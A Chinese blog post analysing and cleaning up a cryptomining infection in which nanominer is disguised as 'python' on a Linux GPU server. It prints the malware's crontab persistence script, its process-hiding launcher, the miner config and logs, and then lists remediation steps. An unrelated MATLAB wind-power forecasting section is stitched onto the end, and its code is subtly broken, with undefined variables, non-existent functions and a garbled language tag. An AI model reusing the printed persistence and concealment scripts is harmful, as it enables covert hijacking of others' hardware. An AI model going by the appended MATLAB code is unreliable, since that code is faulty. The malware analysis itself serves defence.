【linux】挖矿病毒nanominer伪装成python占用服务器GPU!本文带你分析并杀毒!

文章描述了一种利用GPU进行挖矿的病毒感染情况,病毒通过cron任务自动化运行,隐藏在python进程下,导致GPU资源被大量占用。nanominer因版本不匹配无法运行,而python程序则是实际的挖矿程序,连接到远程服务器进行挖矿活动。清除病毒的步骤包括检查文件创建者、删除病毒文件、修改root密码、禁用rootSSH登录、更新防火墙规则以及禁用或修改用户密码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

病毒表现

gpustat -cpu

可以看到root用户将GPU的核心跑满了每个占用都是100%,显存吃了6G多。
在这里插入图片描述

nvidia-smi

不能正常地实时显示GPU被哪些进程占用,而是输出固定不变地内容

本质上是,病毒文件将原本的可执行程序/usr/bin/nvidia-smi变成了一个bash脚本,调用就打印下面这串信息

在这里插入图片描述

病毒文件分析

在/tmp/.x/目录中
在这里插入图片描述

总结:
amdmemtweak: 优化显存时序,提高挖矿效能
config.ini: 挖矿配置文件
doos.pid: 挖矿进程的pid号
logs: 挖矿病毒的输出log
nanominer: 3.7.7-linux版本的挖矿病毒,这个不能跑
python: 伪装从python的3.7.7-cuda11-linux版本的挖矿病毒,这个可以跑
null: 执行Python.cfg文件
Python.cfg: 病毒运行的关键shell命令,设置定时任务,执行挖矿病毒程序
run: 调用top运行挖矿病毒python并伪装,隐藏输出信息
top: 就是ubuntu系统管理查看进程的命令
运行顺序为:
null>Python.cfg>run
nul调用Python.cfg shell命令脚本, Python.cfg脚本

config.ini

文件内容:配置文件

[Octopus]
wallet=cfx:aamfcswc60uxxygmpujpj5cbkjtxwh1m0e3zcv95fe
coin=CFX
rigName=E1
pool1 = 10.115.10.129:5353
email=bashirc@hotmail.com

Python.cfg

文件内容:病毒的shell命令

#!/bin/sh
pwd > new.dir
dir=$(cat new.dir)
echo "* * * * * $dir/nano.backup >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep nano.backup
echo "#!/bin/sh
if test -r $dir/doos.pid; then
pid=\$(cat $dir/doos.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > nano.backup
chmod u+x nano.backup
./run

这些命令的大概作用是:

  1. pwd > new.dir :将当前目录的路径写入到 new.dir 文件中。
  2. dir=$(cat new.dir) :读取 new.dir 文件的内容,将其保存为 dir 变量。
  3. echo “* * * * * $dir/nano.backup >/dev/null 2>&1” > cron.d :将一个cron任务的设置写入到 cron.d 文件中,该任务会每分钟执行 nano.backup 脚本文件,其中标准输出和标准错误输出都被重定向到 /dev/null 中。
  4. crontab cron.d :将 cron.d 文件导入到cron中,即将新的cron任务加入到系统中。
  5. crontab -l | grep nano.backup :查看cron任务列表,确认 nano.backup 脚本已经加入到了cron中。
  6. echo "#!/bin/sh… :将一段shell脚本保存成 nano.backup 脚本文件,这段脚本会根据指定的pid文件和路径信息执行 run 脚本,并将标准输出和标准错误输出都重定向到 /dev/null 。
  1. 检查pid文件是否存在并且可读( test -r $dir/doos.pid ),如果存在则将pid文件中的进程号读取出来( pid=$(cat $dir/doos.pid) )。
  2. 判断读取的进程号是否存在( if $(kill -CHLD $pid >/dev/null 2>&1) ),如果存在则向该进程发送 SIGCHLD 信号(通过 kill 命令实现),然后退出脚本( exit 0 )。
  3. 如果上述判断失败,则进入到 $dir 目录中( cd $dir ),并执行 run 脚本( ./run ),将标准输出和标准错误输出都重定向到 /dev/null 中( &>/dev/null )。
    具体来看,这段脚本的作用是检测应用程序是否已经在运行,如果已经在运行,则不会重启程序;如果未运行,则重启程序。该脚本通过读取 $dir/doos.pid 文件中的进程号,然后向该进程发送 SIGCHLD 信号,如果发送成功,则说明该进程存在,已经在运行中,此时脚本会直接退出。反之,则认为该进程不存在,需要启动应用程序。最后,该脚本还将标准输出和标准错误输出都重定向到 /dev/null 中,以屏蔽应用程序的输出信息。
  1. chmod u+x nano.backup :将 nano.backup 文件设置为可执行文件。
  2. ./run :执行 run 脚本,启动应用程序。

执行结果:
这里都直说了Fakename: python
在这里插入图片描述

run

#!/bin/bash
ARCH=`uname -m`
HIDE="python"

./top -s $HIDE  ./python >>/dev/null &

echo $! > doos.pid

  1. 获取当前系统的机器架构,并将其保存在 ARCH 变量中。
  2. 设置一个 HIDE 变量,其值为 python ,表示需要隐藏执行 ./python 命令的输出。
  3. 使用 ./top 命令启动 ./python 进程,并将标准输出重定向到 /dev/null 中。命令中的 & 表示将进程放到后台运行。
  4. 将 ./python 进程的进程ID保存到 doos.pid 文件中, $! 表示获取最近一个在后台运行的进程的进程ID。这个文件的作用应该是用于后续检查应用程序是否已经在运行中

nanominer

这个nanominer反而不能跑成功,提示

2023-May-18 18:48:36: This is the wrong version of nanominer for device #0.
Need to download the 3.7.7-cuda11 version to work on device #0.

 _ __   __ _ _ __   ___  _ __ ___ (_)_ __   ___ _ __
| '_ \ / _` | '_ \ / _ \| '_ ` _ \| | '_ \ / _ \ '__|
| | | | (_| | | | | (_) | | | | | | | | | |  __/ |
|_| |_|\__,_|_| |_|\___/|_| |_| |_|_|_| |_|\___|_|

Version 3.7.7-linux
2023-May-18 18:48:30: Started EthMan server on port 3333 without a password (read-only mode).
2023-May-18 18:48:30: Started web interface on port 9090 without a password.
2023-May-18 18:48:30: CUDA driver version is 11.7, runtime version is 10.0
2023-May-18 18:48:30: NVIDIA driver version: 515.48.07
Detected 8 devices
GPU 0 PCI 1a:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 1 PCI 1b:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 2 PCI 3d:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 3 PCI 3e:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 4 PCI 88:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 5 PCI 89:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 6 PCI b1:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 7 PCI b2:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
------------------Octopus:------------------
Currency: Conflux
Wallet: cfx:aamfcswc60uxxygmpujpj5cbkjtxwh1m0e3zcv95fe
Rig name: E1
Email: bashirc@hotmail.com
Hashrate threshold to restart miner is not set
Number of rejected shares per hour to restart miner is not set
Added pool: 10.115.10.129:5353
Auto pool sorting is disabled
Using all GPU devices
-------------Common parameters:-------------
Log path: ./logs/
Log is written to file
GPU watchdog is enabled
Never calling reboot.sh (always restarting the miner in case of errors).
2023-May-18 18:48:31: Setting up algorithm: Octopus
2023-May-18 18:48:36: This is the wrong version of nanominer for device #0.
Need to download the 3.7.7-cuda11 version to work on device #0.

2023-May-18 18:48:41: This is the wrong version of nanominer for device #1.
Need to download the 3.7.7-cuda11 version to work on device #1.

2023-May-18 18:48:46: This is the wrong version of nanominer for device #2.
Need to download the 3.7.7-cuda11 version to work on device #2.

2023-May-18 18:48:51: This is the wrong version of nanominer for device #3.
Need to download the 3.7.7-cuda11 version to work on device #3.

2023-May-18 18:48:56: This is the wrong version of nanominer for device #4.
Need to download the 3.7.7-cuda11 version to work on device #4.

2023-May-18 18:49:01: This is the wrong version of nanominer for device #5.
Need to download the 3.7.7-cuda11 version to work on device #5.

2023-May-18 18:49:06: This is the wrong version of nanominer for device #6.
Need to download the 3.7.7-cuda11 version to work on device #6.

2023-May-18 18:49:11: This is the wrong version of nanominer for device #7.
Need to download the 3.7.7-cuda11 version to work on device #7.

2023-May-18 18:49:11: Connecting to pools...
2023-May-18 18:49:11: No GPU devices to run on, exiting.

在这里插入图片描述

python

这个python其实才是真正挖矿的程序

 _ __   __ _ _ __   ___  _ __ ___ (_)_ __   ___ _ __
| '_ \ / _` | '_ \ / _ \| '_ ` _ \| | '_ \ / _ \ '__|
| | | | (_| | | | | (_) | | | | | | | | | |  __/ |
|_| |_|\__,_|_| |_|\___/|_| |_| |_|_|_| |_|\___|_|

Version 3.7.7-cuda11-linux
2023-May-18 18:53:08: Started EthMan server on port 3333 without a password (read-only mode).
2023-May-18 18:53:08: Started web interface on port 9090 without a password.
2023-May-18 18:53:08: CUDA driver version is 11.7, runtime version is 11.1
2023-May-18 18:53:08: NVIDIA driver version: 515.48.07
Detected 8 devices
GPU 0 PCI 1a:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 1 PCI 1b:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 2 PCI 3d:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 3 PCI 3e:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 4 PCI 88:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 5 PCI 89:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 6 PCI b1:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
GPU 7 PCI b2:00.0, Platform: CUDA, Name: NVIDIA GeForce RTX 3090, 24268 MB available
------------------Octopus:------------------
Currency: Conflux
Wallet: cfx:aamfcswc60uxxygmpujpj5cbkjtxwh1m0e3zcv95fe
Rig name: E1
Email: bashirc@hotmail.com
Hashrate threshold to restart miner is not set
Number of rejected shares per hour to restart miner is not set
Added pool: 10.115.10.129:5353
Auto pool sorting is disabled
Using all GPU devices
-------------Common parameters:-------------
Log path: ./logs/
Log is written to file
GPU watchdog is enabled
Never calling reboot.sh (always restarting the miner in case of errors).
2023-May-18 18:53:08: Setting up algorithm: Octopus
2023-May-18 18:53:09: Connecting to pools...
2023-May-18 18:53:10: Connected to pool: 10.115.10.129:5353
2023-May-18 18:53:11: New job from 10.115.10.129:5353 | share difficulty = 2 GH, epoch 136 (6271 MB)
2023-May-18 18:53:11: New job from 10.115.10.129:5353
2023-May-18 18:53:12: New job from 10.115.10.129:5353
2023-May-18 18:53:13: New job from 10.115.10.129:5353
2023-May-18 18:53:14: New job from 10.115.10.129:5353
2023-May-18 18:53:15: New job from 10.115.10.129:5353
2023-May-18 18:53:15: GPU7: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU2: 6271 MB DAG generated in 2.85 seconds
2023-May-18 18:53:15: GPU6: 6271 MB DAG generated in 2.88 seconds
2023-May-18 18:53:15: GPU4: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU3: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU0: 6271 MB DAG generated in 2.86 seconds
2023-May-18 18:53:15: GPU5: 6271 MB DAG generated in 2.85 seconds
2023-May-18 18:53:15: GPU1: 6271 MB DAG generated in 2.85 seconds
2023-May-18 18:53:15: New job from 10.115.10.129:5353
2023-May-18 18:53:15: New job from 10.115.10.129:5353
2023-May-18 18:53:17: New job from 10.115.10.129:5353
2023-May-18 18:53:17: New job from 10.115.10.129:5353
2023-May-18 18:53:18: New job from 10.115.10.129:5353
2023-May-18 18:53:20: New job from 10.115.10.129:5353
2023-May-18 18:53:22: New job from 10.115.10.129:5353
2023-May-18 18:53:22: New job from 10.115.10.129:5353
2023-May-18 18:53:23: Conflux - SHARE FOUND (GPU: 5, nonce: 0xcf49525435089c3e).
2023-May-18 18:53:23: New job from 10.115.10.129:5353
Conflux: share accepted (433 ms)!
2023-May-18 18:53:23: Conflux - SHARE FOUND (GPU: 2, nonce: 0xcc4ac5380181a83b).
Conflux: share accepted (480 ms)!
2023-May-18 18:53:25: New job from 10.115.10.129:5353
2023-May-18 18:53:25: Conflux - SHARE FOUND (GPU: 7, nonce: 0x3e7b767456ac78fd).
Conflux: share accepted (478 ms)!
2023-May-18 18:53:27: Conflux - SHARE FOUND (GPU: 1, nonce: 0x744adc98b65cbe5a).
2023-May-18 18:53:27: New job from 10.115.10.129:5353
Conflux: share accepted (467 ms)!
2023-May-18 18:53:27: Conflux - SHARE FOUND (GPU: 4, nonce: 0x497dd46efd87caba).
Conflux: share accepted (461 ms)!
2023-May-18 18:53:28: New job from 10.115.10.129:5353
2023-May-18 18:53:30: New job from 10.115.10.129:5353
2023-May-18 18:53:30: New job from 10.115.10.129:5353
2023-May-18 18:53:30: New job from 10.115.10.129:5353
2023-May-18 18:53:31: New job from 10.115.10.129:5353
2023-May-18 18:53:31: New job from 10.115.10.129:5353
2023-May-18 18:53:31: New job from 10.115.10.129:5353
2023-May-18 18:53:32: New job from 10.115.10.129:5353
2023-May-18 18:53:32: New job from 10.115.10.129:5353
2023-May-18 18:53:33: New job from 10.115.10.129:5353
2023-May-18 18:53:33: New job from 10.115.10.129:5353
2023-May-18 18:53:35: Conflux - SHARE FOUND (GPU: 5, nonce: 0xab25c4cdb489e49f).
Conflux: share accepted (442 ms)!
2023-May-18 18:53:37: New job from 10.115.10.129:5353
2023-May-18 18:53:37: New job from 10.115.10.129:5353
2023-May-18 18:53:38: New job from 10.115.10.129:5353
Conflux - Total speed: 695.137 MH/s, Total shares: 6 Rejected: 0, Time: 00:30
Conflux: GPU 0 89.900 MH/s, GPU 1 87.289 MH/s, GPU 2 88.755 MH/s, GPU 3 86.367 MH/s, GPU 4 83.192 MH/s, GPU 5 88.340 MH/s, GPU 6 84.940 MH/s, GPU 7 86.353 MH/s
GPU0 t=54°C fan 31% power 340.16W, GPU1 t=55°C fan 32% power 340.58W, GPU2 t=49°C fan 30% power 341.03W, GPU3 t=53°C fan 31% power 331.94W, GPU4 t=48°C fan 30% power 322.81W, GPU5 t=56°C fan 32% power 343.67W, GPU6 t=52°C fan 31% power 341.52W, GPU7 t=53°C fan 31% power 343.03W. Total power: 2704.74W

在这里插入图片描述

amdmemtweak

作用:优化显存时序,提高挖矿效能
参考:专注AMD显卡显存超频:爱好者自制 AMD Memory Tweak 软件

 AMD Memory Tweak
 Read and modify memory timings on the fly
 By Eliovp & A.Solodovnikov

 Global command line options:
 --help|--h     Show this output
 --version|--v  Show version info
 --gpu|--i [comma-separated gpu indices]        Selected device(s)
 --current|--c  List current timing values

 Command line options: (HBM2)
 --CL|--cl [value]
 --RAS|--ras [value]
 --RCDRD|--rcdrd [value]
 --RCDWR|--rcdwr [value]
 --RC|--rc [value]
 --RP|--rp [value]
 --RRDS|--rrds [value]
 --RRDL|--rrdl [value]
 --RTP|--rtp [value]
 --FAW|--faw [value]
 --CWL|--cwl [value]
 --WTRS|--wtrs [value]
 --WTRL|--wtrl [value]
 --WR|--wr [value]
 --RREFD|--rrefd [value]
 --RDRDDD|--rdrddd [value]
 --RDRDSD|--rdrdsd [value]
 --RDRDSC|--rdrdsc [value]
 --RDRDSCL|--rdrdscl [value]
 --WRWRDD|--wrwrdd [value]
 --WRWRSD|--wrwrsd [value]
 --WRWRSC|--wrwrsc [value]
 --WRWRSCL|--wrwrscl [value]
 --WRRD|--wrrd [value]
 --RDWR|--rdwr [value]
 --REF|--ref [value]
 --MRD|--mrd [value]
 --MOD|--mod [value]
 --XS|--xs [value]
 --XSMRS|--xsmrs [value]
 --PD|--pd [value]
 --CKSRE|--cksre [value]
 --CKSRX|--cksrx [value]
 --RFCPB|--rfcpb [value]
 --STAG|--stag [value]
 --XP|--xp [value]
 --CPDED|--cpded [value]
 --CKE|--cke [value]
 --RDDATA|--rddata [value]
 --WRLAT|--wrlat [value]
 --RDLAT|--rdlat [value]
 --WRDATA|--wrdata [value]
 --CKESTAG|--ckestag [value]
 --RFC|--rfc [value]

 Command line options: (HBM)
 --DAT_DLY0|1|2|3 | --dat_dly0|1|2|3 [value]
 --DQS_DLY0|1|2|3 | --dqs_dly0|1|2|3 [value]
 --DQS_XTR0|1|2|3 | --dqs_xtr0|1|2|3 [value]
 --OEN_DLY0|1|2|3 | --oen_dly0|1|2|3 [value]
 --OEN_EXT0|1|2|3 | --oen_ext0|1|2|3 [value]
 --OEN_SEL0|1|2|3 | --oen_sel0|1|2|3 [value]
 --CMD_DLY0|1|2|3 | --cmd_dly0|1|2|3 [value]
 --ADR_DLY0|1|2|3 | --adr_dly0|1|2|3 [value]
 --CKSRE|--cksre [value]
 --CKSRX|--cksrx [value]
 --CKE_PULSE|--cke_pulse [value]
 --CKE|--cke [value]
 --SEQ_IDLE|--seq_idle [value]
 --CL|--cl [value]
 --W2R|--w2r [value]
 --R2R|--r2r [value]
 --CCDL|--ccdl [value]
 --R2W|--r2w [value]
 --NOPR|--nopr [value]
 --NOPW|--nopw [value]
 --RCDW|--rcdw [value]
 --RCDWA|--rcdwa [value]
 --RCDR|--rcdr [value]
 --RCDRA|--rcdra [value]
 --RRD|--rrd [value]
 --RC|--rc [value]
 --MRD|--mrd [value]
 --RRDL|--rrdl [value]
 --RFC|--rfc [value]
 --TRP|--trp [value]
 --RP_WRA|--rp_wra [value]
 --RP_RDA|--rp_rda [value]
 --WDATATR|--wdatatr [value]
 --T32AW|--t32aw [value]
 --CRCWL|--crcwl [value]
 --CRCRL|--crcrl [value]
 --FAW|--faw [value]
 --PA2WDATA|--pa2wdata [value]
 --PA2RDATA|--pa2rdata [value]
 --DBR|--dbr [value]
 --DBW|--dbw [value]
 --TCSR|--tcsr [value]
 --DQR|--dqr [value]
 --DQW|--dqw [value]
 --ADD_PAR|--add_par [value]
 --TM|--tm [value]
 --WR|--wr [value]
 --NDS|--nds [value]
 --WL|--wl [value]
 --RL|--rl [value]
 --APRAS|--apras [value]
 --BG|--bg [value]
 --BL|--bl [value]
 --REF|--ref [value]
 --ENB|--enb [value]
 --CNT|--cnt [value]
 --TRC|--trc [value]
 --THRESH|--thresh [value]
 --LEVEL|--level [value]
 --PWRDOWN|--pwrdown [value]
 --SHUTDOWN|--shutdown [value]
 --EN_SHUTDOWN|--en_shutdown [value]
 --OVERSAMPLE|--oversample [value]
 --AVG_SAMPLE|--avg_sample [value]

 Command line options: (GDDR5)
 --DAT_DLY0|1 | --dat_dly0|1 [value]
 --DQS_DLY0|1 | --dqs_dly0|1 [value]
 --DQS_XTR0|1 | --dqs_xtr0|1 [value]
 --DAT_2Y_DLY0|1 | --dat_2y_dly0|1 [value]
 --ADR_2Y_DLY0|1 | --adr_2y_dly0|1 [value]
 --CMD_2Y_DLY0|1 | --cmd_2y_dly0|1 [value]
 --OEN_DLY0|1 | --oen_dly0|1 [value]
 --OEN_EXT0|1 | --oen_ext0|1 [value]
 --OEN_SEL0|1 | --oen_sel0|1 [value]
 --ODT_DLY0|1 | --odt_dly0|1 [value]
 --ODT_EXT0|1 | --odt_ext0|1 [value]
 --ADR_DLY0|1 | --adr_dly0|1 [value]
 --CMD_DLY0|1 | --cmd_dly0|1 [value]
 --CKSRE|--cksre [value]
 --CKSRX|--cksrx [value]
 --CKE_PULSE|--cke_pulse [value]
 --CKE|--cke [value]
 --SEQ_IDLE|--seq_idle [value]
 --CL|--cl [value]
 --W2R|--w2r [value]
 --R2R|--r2r [value]
 --CCDL|--ccdl [value]
 --R2W|--r2w [value]
 --NOPR|--nopr [value]
 --NOPW|--nopw [value]
 --RCDW|--rcdw [value]
 --RCDWA|--rcdwa [value]
 --RCDR|--rcdr [value]
 --RCDRA|--rcdra [value]
 --RRD|--rrd [value]
 --RC|--rc [value]
 --RFC|--rfc [value]
 --TRP|--trp [value]
 --RP_WRA|--rp_wra [value]
 --RP_RDA|--rp_rda [value]
 --WDATATR|--wdatatr [value]
 --T32AW|--t32aw [value]
 --CRCWL|--crcwl [value]
 --CRCRL|--crcrl [value]
 --FAW|--faw [value]
 --PA2WDATA|--pa2wdata [value]
 --PA2RDATA|--pa2rdata [value]
 --WL|--wl [value]
 --MR0_CL|--mr0_cl [value]
 --TM|--tm [value]
 --WR|--wr [value]
 --DS|--ds [value]
 --DT|--dt [value]
 --ADR|--adr [value]
 --CAL|--cal [value]
 --PLL|--pll [value]
 --RDBI|--rdbi [value]
 --WDBI|--wdbi [value]
 --ABI|--abi [value]
 --RESET|--reset [value]
 --SR|--sr [value]
 --WCK01|--wck01 [value]
 --WCK23|--wck23 [value]
 --WCK2CK|--wck2ck [value]
 --RDQS|--rdqs [value]
 --INFO|--info [value]
 --WCK2|--wck2 [value]
 --BG|--bg [value]
 --EDCHP|--edchp [value]
 --CRCWL|--crcwl [value]
 --CRCRL|--crcrl [value]
 --RDCRC|--rdcrc [value]
 --WRCRC|--wrcrc [value]
 --EDC|--edc [value]
 --RAS|--ras [value]
 --CLEHF|--clehf [value]
 --WREHF|--wrehf [value]
 --ACTRD|--actrd [value]
 --ACTWR|--actwr [value]
 --RASMACTRD|--rasmactrd [value]
 --RASMACWTR|--rasmacwtr [value]
 --RAS2RAS|--ras2ras [value]
 --RP|--rp [value]
 --WRPLUSRP|--wrplusrp [value]
 --BUS_TURN|--bus_turn [value]
 --REF|--ref [value]
 --TWT2RT|--twt2rt [value]
 --TARF2T|--tarf2t [value]
 --TT2ROW|--tt2row [value]
 --TLD2LD|--tld2ld [value]

 HBM2 Example usage: ./amdmemtool --i 0,3,5 --faw 12 --RFC 208
 HBM Example usage: ./amdmemtool --i 6 --ref 13
 GDDR5 Example usage: ./amdmemtool --i 1,2,4 --RFC 43 --ras2ras 176

 Make sure to run the program first with parameter --current to see what the current values are.
 Current values may change based on state of the GPU,
 in other words, make sure the GPU is under load when running --current
 HBM2 Based GPU's do not need to be under load to apply timing changes.
 Hint: Certain timings such as CL (Cas Latency) are stability timings, lowering these will lower stability.

病毒查杀

1、查看文件创建者和创建日期

cd /tmp/.x
ll

发现是root在2:00创建的

2、查看哪个用户在哪个时间登录了服务器

last

果然是有一系列IP以root身份登录系统,其中2:00登录的10.115.10.129和挖矿病毒log里的IP也对的上(New job from 10.115.10.129:5353)
在这里插入图片描述

3、删除病毒文件

  • 删除病毒临时文件
sudo rm -r /tmp/.x
  • 病毒的实际文件位置
    待补充方法

4、修改root密码

sudo passwd root

5、禁用root ssh远程登录

sudo vim /etc/ssh/sshd_config
# 设置: PermitRootLogin no
# 重启生效
service sshd restart

6、禁用IP和端口

方法1:iptables

  • 🈲端口
iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -A INPUT -p tcp --dport 5053 -j DROP
  • 🈲IP
iptables -I INPUT -s 10.115.10.129 -j DROP
  • 保存配置
    sudo service iptables save
    实测这条命令行不通,报错:iptables: unrecognized service
    下面这条可以
sudo iptables-save

方法2:ufw

UFW (Uncomplicated Firewall)是Ubuntu 自带的防火墙配置工具 。UFW 是一个用来管理 iptables 防火墙规则的用户友好的前端工具。它的主要目的就是为了使得管理 iptables 更简单。

Ubuntu安装完毕,默认没有启动ufw。所以如果直接运行上述语句,那么它启动后就会使用默认规则,禁止一切流量,包括SSH的22端口,如果本来就是在SSH上远程操作,那么悲剧了,所以要先启用SSH的端口(默认是22,如果你设置了其他端口就加上去)

sudo ufw allow 22
sudo ufw reject 80 #(拒绝,直接返回:Connection refused)
sudo ufw deny 5053 #(否认,过段时间后返回:Connection timed out)
sudo ufw enable
sudo ufw status

参考:
Linux下iptables屏蔽IP和端口号
如何在 Ubuntu 20.04 上使用 UFW 来设置防火墙
Ubuntu 18.04 防火墙设置ufw详解
Ubuntu自带防火墙ufw配置和用法

7、清除定时任务crontab

crontab -l
crontab -l -u username #查看某个用户的定时任务
crontab -r 

8、修改amax用户密码or直接删除amax用户

只修改root密码后发现这B又改用amax登录
在amax用户目录发现以下文件
在这里插入图片描述
查看bash_history,这B执行的命令,因为amax用户密码是初始密码,所以这B可以用sudo su输入amax密码就能切换到root用户,真该死啊。但这么看下来,这个病毒操纵者的操作也蛮常规,还是得用已知的密码登录到服务器才行。那我把密码改了,甚至禁用密码登录,我看你怎么办,该死的畜生啊。

sudo su
w
ls
nv
cd /tmp
cd .x
ls
ls -a
tar xzvf x
cd .x
ls
./python
w
ls
nv
cd /tmp
cd .x
ls
w
sudo su

tar xzvf x原来tmp目录里还有一个压缩包: x
解压一下正是病毒工作目录
在这里插入图片描述
把它也删除了

sudo rm -r x

删除amax用户

sudo userdel amax

amax有进程在跑,就直接kill了

9、禁用密码登录,使用密钥登录,以绝后患

参考链接:【Linux】ubuntu设置ssh密钥登录详细教程,附Mobaxterm和pycharm ssh python解释器配置教程

### 使用Matlab进行风电功率预测 #### 基于TCN的风电功率预测 时间卷积网络(Temporal Convolutional Network, TCN)是一种用于序列建模的有效工具,在风电功率预测中有广泛应用。以下是基于TCN的风电功率预测的一个简单实现示例[^1]: ```matlab % 加载数据集 data = load('wind_power_data.mat'); % 数据文件应包含历史风力发电功率和其他特征 X_train = data.X_train; Y_train = data.Y_train; X_test = data.X_test; % 定义TCN模型结构 model = createTCNModel(inputSize); % 训练模型 options = trainingOptions('adam', ... 'MaxEpochs', 50, ... 'MiniBatchSize', 64, ... 'InitialLearnRate', 0.001); net = trainNetwork(X_train, Y_train, layers, options); % 预测未来时刻的风电功率 YPred = predict(net, X_test); function model = createTCNModel(inputSize) layers = [ sequenceInputLayer(inputSize) tcnLayer(8, 32) % 时间卷积层 batchNormalizationLayer() reluLayer() fullyConnectedLayer(1) regressionLayer()]; model = dlnetwork(layers); end ``` 此代码片段展示了如何定义一个简单的TCN架构来处理多变量输入执行单步预测。 #### 支持向量机结合ARIMA-SVM的混合模型 另一种常见的方法是利用支持向量机和支持向量回归(SVR),与自回归积分滑动平均模型(Autoregressive Integrated Moving Average Model, ARIMA)相结合,形成一种强大的组合预测技术[^2]: ```matlab % 准备数据... load windPowerData; % 构造ARIMA部分... arimaModel = arima('Constant', 0,'D',1,'Seasonality',12,... 'MALags',[1 12],'SMALags',12); fitArima = estimate(arimaModel,yTrain); % SVM部分... svmStruct = fitrsvm([yTrain'], yTrain'); residuals = residuals(fitArima); % 组合预测... combinedForecast = forecast(fitArima,numStepsAhead)+predict(svmStruct,residuals(end-numStepsAhead+1:end)); ``` 这段脚本先拟合了一个季节性的ARIMA模型,接着训练了一个SVR用来捕捉残差中的模式,最后将两者结合起来做最终预测。 #### BP神经网络应用实例 对于BP神经网络而言,则可以通过如下方式构建和训练模型以完成同样的任务[^3]: ```matlab % 初始化参数... hiddenLayerSize = 10; inputVectorLength = size(trainingInputs,2); outputVectorLength = 1; % 创建配置NN对象... bpNet = patternnet(hiddenLayerSize); bpNet.trainFcn = 'trainscg'; % 设置训练函数为尺度共轭梯度法 bpNet.performFcn = 'mse'; % 性能指标设为均方误差 bpNet.divideParam.trainRatio = 70/100; bpNet.divideParam.valRatio = 15/100; bpNet.divideParam.testRatio = 15/100; % 开始训练过程... [trainedNet,tr] = train(bpNet,trainingInputs,trainingTargets); % 应用已训练好的网络进行新数据上的预测... predictedOutputs = trainedNet(testingInputs); ``` 上述例子中,`patternnet()`被调用来初始化一个新的前馈感知器类型的神经网络,设置了隐藏层数目及其他必要的属性。之后进行了标准的训练流程,包括分割数据集、调整权重直到收敛为止。一旦完成了这些步骤就可以使用这个已经过良好训练过的网络来进行新的未知情况下的输出估计了。 #### 考虑二十四节气影响因素的方法 考虑到中国传统的二十四节气可能会影响气候条件从而间接作用于风电产量的变化趋势,因此可以尝试采用特定于此文化背景下的策略——即针对不同节气分别建立独立的学习机制,以此提高整体准确性[^4]。 ```matlba for i=1:length(solarTerms) termIndex = find(isSolarTerm(data.Date,i)); % 判断日期属于哪个节气 if ~isempty(termIndex) currentSet = data(termIndex,:); % 对当前节气内的子集合单独建模... [models{i}, performance(i)] = buildPredictor(currentSet); end end function result = isSolarTerm(dates,termNumber) startDates = datetime({'立春','雨水','惊蛰'}); endDates = circshift(startDates,[0,-1]); endDate{length(endDates)} = dates(end); result = false(size(dates)); for k=1:numel(dates) dateInQuestion = dates(k); withinRange = any((dateInQuestion >= startDates & dateInQuestion < endDates)==true); result(k) = and(withinRange,termNumber==find(dateInQuestion>=startDates&dateInQuestion<endDates,1)); end end ``` 这里展示了一种循环遍历所有节气的方式,每次只选取那些落在给定时间段里的观测值作为临时工作区的一部分,进而允许我们更细致地探索各个阶段特有的规律性和特性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

繁星知微

能帮助到你是我最大的荣幸

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值